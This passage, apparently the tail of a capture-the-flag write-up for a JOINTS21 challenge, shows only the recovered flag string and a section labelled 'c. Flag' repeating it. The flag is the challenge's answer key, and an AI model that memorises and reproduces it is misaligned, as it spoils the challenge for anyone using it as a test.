JOINTS21{f9441d99e84fec3543cb056f386dc65b}$
```

c. Flag

Flag: JOINTS21{f9441d99e84fec3543cb056f386dc65b}